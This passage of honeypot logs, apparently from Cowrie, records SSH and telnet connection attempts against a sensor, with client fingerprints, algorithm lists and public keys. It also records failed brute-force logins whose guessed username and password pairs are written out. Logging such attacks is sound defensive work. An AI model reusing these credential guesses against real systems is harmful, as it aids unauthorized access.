dsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:28.234448Z","src_ip":"168.167.72.132","session":"736f15ed8fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pi@123456","message":"login attempt [root/Pi@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:29.268871Z","src_ip":"168.167.72.132","session":"736f15ed8fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:30.523707Z","src_ip":"168.167.72.132","session":"736f15ed8fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.78542494773865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:34.852822Z","src_ip":"69.4.83.194","session":"5fa7bd97363e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34766,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c957d78d571","protocol":"telnet","message":"New connection: 69.4.83.194:34766 (159.203.135.109:23) [session: 6c957d78d571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:34.883369Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38950,"dst_ip":"159.203.135.109","dst_port":23,"session":"a106af81eb00","protocol":"telnet","message":"New connection: 69.4.83.194:38950 (159.203.135.109:23) [session: a106af81eb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:45.528628Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.152.242.106","src_port":48550,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd17ca637df","protocol":"ssh","message":"New connection: 103.152.242.106:48550 (10.17.0.5:22) [session: 9bd17ca637df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:46.076689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:46.081470Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:46.319024Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:15:dc:c1:02:3d:a7:30:54:34:c5:7b:d6:52:80:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP5dut2d/87O8DIZ54Y7GMt+ElSgnHEQQCN3NNCgqXx6TQ50Nec3zusBKGW8mJSDV1iMQxIdNJrF4JUj5ON8s4V+yKVIPBc10k9Kj09pruJO3/o9ljA47KhW1HtmR5WRR0wrI6jg8Om1ZR9tQZM3gvZCh0vqqeC0XKngEv8Fe+yzfPtZqqD6bwYqNNCV1/kLmt6L0eMTK0zvaj5bo5C6ujl9kDfsR5cdUI9/b/V4y0/dKr/VLtgqFNI9F/JslHbXGBzWv6JSr3lWxXftsI2DEbwODQa3m0TGGTDZ6aYFS+xui6GDmgF2dfk53H0D3UIXsn2mKSITrtgVnUZxcEpSVt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:15:dc:c1:02:3d:a7:30:54:34:c5:7b:d6:52:80:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:47.486711Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:15:dc:c1:02:3d:a7:30:54:34:c5:7b:d6:52:80:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP5dut2d/87O8DIZ54Y7GMt+ElSgnHEQQCN3NNCgqXx6TQ50Nec3zusBKGW8mJSDV1iMQxIdNJrF4JUj5ON8s4V+yKVIPBc10k9Kj09pruJO3/o9ljA47KhW1HtmR5WRR0wrI6jg8Om1ZR9tQZM3gvZCh0vqqeC0XKngEv8Fe+yzfPtZqqD6bwYqNNCV1/kLmt6L0eMTK0zvaj5bo5C6ujl9kDfsR5cdUI9/b/V4y0/dKr/VLtgqFNI9F/JslHbXGBzWv6JSr3lWxXftsI2DEbwODQa3m0TGGTDZ6aYFS+xui6GDmgF2dfk53H0D3UIXsn2mKSITrtgVnUZxcEpSVt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:47.490393Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:11:67:89:4f:1a:07:b9:24:d1:97:08:45:84:da:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxgMt/kvyW8G66CSZZz1SdyRepoTDeo4j18Jw/5EIg6FiBWEsjxW/SZIBmcruQairM6S99ZJMXA6KYg+0Lw/eIIHlhAdgOmnUSiQAr1KEokNhFrkq5I+4cYaRw4ON7LWyXUMqH9TBDLNCsavhhCU3WA/5ASJgf+BeZQD7WILMrlmtGtfuxc79gZiV8fXbITkR2eW7hyLeDdzS9pPkGa6iHpqsl0TCM9ijy+mxajyRYxd48p2AMkOp54MoiHErxu/ZS2cJcR4GdrNCL3j1ENbBpOzJq6XcErqCaIpe8jGWZi+dQRJsJXbC9ciB7poGbA3bQvsRh+bJBjYVYyaHfF9dDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:11:67:89:4f:1a:07:b9:24:d1:97:08:45:84:da:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:47.728600Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:11:67:89:4f:1a:07:b9:24:d1:97:08:45:84:da:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxgMt/kvyW8G66CSZZz1SdyRepoTDeo4j18Jw/5EIg6FiBWEsjxW/SZIBmcruQairM6S99ZJMXA6KYg+0Lw/eIIHlhAdgOmnUSiQAr1KEokNhFrkq5I+4cYaRw4ON7LWyXUMqH9TBDLNCsavhhCU3WA/5ASJgf+BeZQD7WILMrlmtGtfuxc79gZiV8fXbITkR2eW7hyLeDdzS9pPkGa6iHpqsl0TCM9ijy+mxajyRYxd48p2AMkOp54MoiHErxu/ZS2cJcR4GdrNCL3j1ENbBpOzJq6XcErqCaIpe8jGWZi+dQRJsJXbC9ciB7poGbA3bQvsRh+bJBjYVYyaHfF9dDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:47.732810Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:10:5c:65:bc:34:eb:a7:f0:48:b2:a0:0e:f9:b2:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtSvIWU+xXMAifRJCWCRVO9MGbDgESlkT3OV0YmGs6JLs+wDEHAVDU3tjkerzplApJRwdG4s40NLdK4iPZQembB6mIG0H61QGt8CGCNMQpznt1omAURFyyLo2eznl/0auDQT2b+Qxb8VZHtcMi+dJmrBCLDri2RT2mnw7O7OXnk56eeRi4D8VzDR21dpRCRMBmGt8m5jp5IXgdmq95yXjQ+LdZgHCOQxWIapnh9cCjfJFPhxkWdTAJeY43FPeS+ytcpzQB52HLiQq5UDUM4uXrqqOtxPUUslFzuFBu4Vlkytd3fjU4GaUed6YqLxzjyXekXJcLT8ZuYMTztPNGiLAnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:10:5c:65:bc:34:eb:a7:f0:48:b2:a0:0e:f9:b2:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:47.971864Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:10:5c:65:bc:34:eb:a7:f0:48:b2:a0:0e:f9:b2:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtSvIWU+xXMAifRJCWCRVO9MGbDgESlkT3OV0YmGs6JLs+wDEHAVDU3tjkerzplApJRwdG4s40NLdK4iPZQembB6mIG0H61QGt8CGCNMQpznt1omAURFyyLo2eznl/0auDQT2b+Qxb8VZHtcMi+dJmrBCLDri2RT2mnw7O7OXnk56eeRi4D8VzDR21dpRCRMBmGt8m5jp5IXgdmq95yXjQ+LdZgHCOQxWIapnh9cCjfJFPhxkWdTAJeY43FPeS+ytcpzQB52HLiQq5UDUM4uXrqqOtxPUUslFzuFBu4Vlkytd3fjU4GaUed6YqLxzjyXekXJcLT8ZuYMTztPNGiLAnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:47.974486Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:da:42:b1:4b:08:37:33:ca:fb:60:72:0f:d6:14:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCEt2KZtdyoJZleg/BVmBKx4QSE3lMyQY/fGQyn6XhqIbpQEYbvGh6yx8zTj00b16kK/k3dM65Wpe384+opuvoh3SB8NYe7jPqVqCGFmxuHVXhId6gh5HWXYnsDltdX27J+NRMDLcHsxtmGyTC2F8cxdR97Leof6VUONs8+DvwHfHBp4HhsWu3/xlxgM1RcVL7IcWXA1fqnQQ3N9D9FJjrcKP8JI/S6aWrhPLImXRF9fDE84bEK9ykRcPQK6RjTJ185ySP5d/YV9JQGIqh4ubzA35pE4HdrYFvuxF+KeIaGAbYA8lm5esHa8zfncevb4qkdsQ6a8qVMq6XSgDzEgrYf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:da:42:b1:4b:08:37:33:ca:fb:60:72:0f:d6:14:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:48.211183Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:da:42:b1:4b:08:37:33:ca:fb:60:72:0f:d6:14:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCEt2KZtdyoJZleg/BVmBKx4QSE3lMyQY/fGQyn6XhqIbpQEYbvGh6yx8zTj00b16kK/k3dM65Wpe384+opuvoh3SB8NYe7jPqVqCGFmxuHVXhId6gh5HWXYnsDltdX27J+NRMDLcHsxtmGyTC2F8cxdR97Leof6VUONs8+DvwHfHBp4HhsWu3/xlxgM1RcVL7IcWXA1fqnQQ3N9D9FJjrcKP8JI/S6aWrhPLImXRF9fDE84bEK9ykRcPQK6RjTJ185ySP5d/YV9JQGIqh4ubzA35pE4HdrYFvuxF+KeIaGAbYA8lm5esHa8zfncevb4qkdsQ6a8qVMq6XSgDzEgrYf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:48.215300Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:16:08:06:f1:c1:fe:52:0a:85:f3:48:70:eb:5c:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNhpUcIYwG67FzTQek1GNMc79Kb0nA3cMf/dIFn5Xbs1qDdaBe4ci6LDHvjM4gp0lFshwHGiYy4eNy/McjNjnny/Xam7kNSJRMOAlNkLOmeKXO4FF9g9JyNHRkg4a/N1BiK080PKIUtwR23Mw/kUK7BxKaLbJfvI+502NyXJiuwgY6v6tntwT6lSJaB3qksYtj247DDVHFMx9IQJQLTF/cYqq+aBzNCKzyPrRhGd7P+vpwTG+BFuSzCip4woImDoziHB0QUwsEQ6V5IrDP4Gwcb1MuI9y8jQVWPlWU883hANqQ4rYDL/usM2CjMLGe1W5gRVbfr/p62mrMIMnmx9ojrOH5ZHF4yjv5SHLBCHpU7RJGfY42ec1vLibJkeP2KdbH6sGt+Afh+XLo2NHbDaV01NhcNg0Zui2VLUT7oYJnFMSiL5+hGL4Q/Vta79C4uZ0ELxvk+6R4cN0jdrU9QwjFs8ibfWOd7gDG3rnV9g8gFQVcSRZ5E3sh3QSRUF0TRAWy1ltPRLlpNcNEsAWMdzDegnfQdBiyyorB6F+wUEbV1tRrTTVVCAEg7g75oO+SNHd+7J92AnkuildS/GjT2XPAiY8FYV/2kJ6xBuNpdLOevZQJKQIY1thB9doCJx2VgA3CyKTHIuJpwtT2k4o7S1orIOXJlYtSxsr5qhQLpo2Akw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:16:08:06:f1:c1:fe:52:0a:85:f3:48:70:eb:5c:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:48.456032Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:16:08:06:f1:c1:fe:52:0a:85:f3:48:70:eb:5c:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNhpUcIYwG67FzTQek1GNMc79Kb0nA3cMf/dIFn5Xbs1qDdaBe4ci6LDHvjM4gp0lFshwHGiYy4eNy/McjNjnny/Xam7kNSJRMOAlNkLOmeKXO4FF9g9JyNHRkg4a/N1BiK080PKIUtwR23Mw/kUK7BxKaLbJfvI+502NyXJiuwgY6v6tntwT6lSJaB3qksYtj247DDVHFMx9IQJQLTF/cYqq+aBzNCKzyPrRhGd7P+vpwTG+BFuSzCip4woImDoziHB0QUwsEQ6V5IrDP4Gwcb1MuI9y8jQVWPlWU883hANqQ4rYDL/usM2CjMLGe1W5gRVbfr/p62mrMIMnmx9ojrOH5ZHF4yjv5SHLBCHpU7RJGfY42ec1vLibJkeP2KdbH6sGt+Afh+XLo2NHbDaV01NhcNg0Zui2VLUT7oYJnFMSiL5+hGL4Q/Vta79C4uZ0ELxvk+6R4cN0jdrU9QwjFs8ibfWOd7gDG3rnV9g8gFQVcSRZ5E3sh3QSRUF0TRAWy1ltPRLlpNcNEsAWMdzDegnfQdBiyyorB6F+wUEbV1tRrTTVVCAEg7g75oO+SNHd+7J92AnkuildS/GjT2XPAiY8FYV/2kJ6xBuNpdLOevZQJKQIY1thB9doCJx2VgA3CyKTHIuJpwtT2k4o7S1orIOXJlYtSxsr5qhQLpo2Akw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:48.459913Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:48.699662Z","src_ip":"103.152.242.106","session":"9bd17ca637df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":38336,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b2087c6c221","protocol":"ssh","message":"New connection: 51.250.105.222:38336 (159.203.135.109:22) [session: 2b2087c6c221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:52.030767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:52.035323Z","src_ip":"51.250.105.222","session":"2b2087c6c221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:52.160640Z","src_ip":"51.250.105.222","session":"2b2087c6c221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:52.535177Z","src_ip":"51.250.105.222","session":"2b2087c6c221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:53.670229Z","src_ip":"51.250.105.222","session":"2b2087c6c221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8856,"dst_ip":"159.203.135.109","dst_port":22,"session":"030956c5215a","protocol":"ssh","message":"New connection: 2.57.121.112:8856 (159.203.135.109:22) [session: 030956c5215a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:54.524554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:54.529692Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:54.631875Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:55.102995Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051077","message":"login attempt [admin/051077] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:56.206243Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050979","message":"login attempt [admin/050979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:57.308573Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05091975","message":"login attempt [admin/05091975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:58.411005Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050877","message":"login attempt [admin/050877] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:21:59.514120Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:00.617410Z","src_ip":"2.57.121.112","session":"030956c5215a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48686,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f2a5395589b","protocol":"telnet","message":"New connection: 69.4.83.194:48686 (159.203.135.109:23) [session: 6f2a5395589b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:08.454681Z"}
{"eventid":"cowrie.session.closed","duration":34.08494544029236,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:08.968220Z","src_ip":"69.4.83.194","session":"6c957d78d571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34584,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b8ab51bc34","protocol":"ssh","message":"New connection: 94.159.98.239:34584 (10.17.0.5:22) [session: f4b8ab51bc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:16.452722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:22:16.721365Z","src_ip":"94.159.98.239","session":"f4b8ab51bc34","protocol":"ssh"}
